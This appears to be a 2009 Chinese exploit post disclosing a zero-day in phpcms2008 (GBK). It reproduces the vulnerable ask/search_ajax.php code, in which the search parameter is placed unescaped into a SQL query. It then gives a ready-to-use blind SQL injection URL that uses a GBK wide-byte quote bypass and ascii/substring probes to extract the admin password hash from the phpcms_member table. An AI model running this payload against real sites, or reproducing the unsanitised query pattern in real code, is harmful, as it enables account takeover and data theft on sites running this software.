phpcms2008-0day ask/search_ajax.php

2009-4-7 11:18 817 0

摘要: <?php /*作者：nuke受影响程序： phpcms2008 gbk漏洞文件：ask/search_ajax.php*/require './include/common.inc.php'...

关键词： title val info CHARSET key where url substring 706870636 utf

<?php /*作者：nuke受影响程序： phpcms2008 gbk漏洞文件：ask/search_ajax.php*/require './include/common.inc.php';require_once MOD_ROOT.'include/ask.class.php';$ask = new ask();header('Content-type: text/html; charset=utf-8');if(strtolower(CHARSET) != 'utf-8') $q = iconv(CHARSET, 'utf-8', $q);if($q){$where = " title LIKE '%$q%' AND status = 5";}else{exit('null');}$infos = $ask->listinfo($where, 'askid DESC', '', 10); foreach($infos as $key=>$val){$val['title'] = str_replace($q, '<span class="c_orange">'.$q.'</span>', $val['title']);$info[$key]['title'] = CHARSET != 'utf-8' ? iconv(CHARSET, 'utf-8', $val['title']) : $val['title'];$info[$key]['url'] = $val['url'];} echo(json_encode($info));?> 测试方法： ask/search_ajax.php?q=s%E6'/**/or/**/(select ascii(substring(password,1,1))/**/from/**/phpcms_member/**/where/**/username=0x706870636D73)>52%23

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除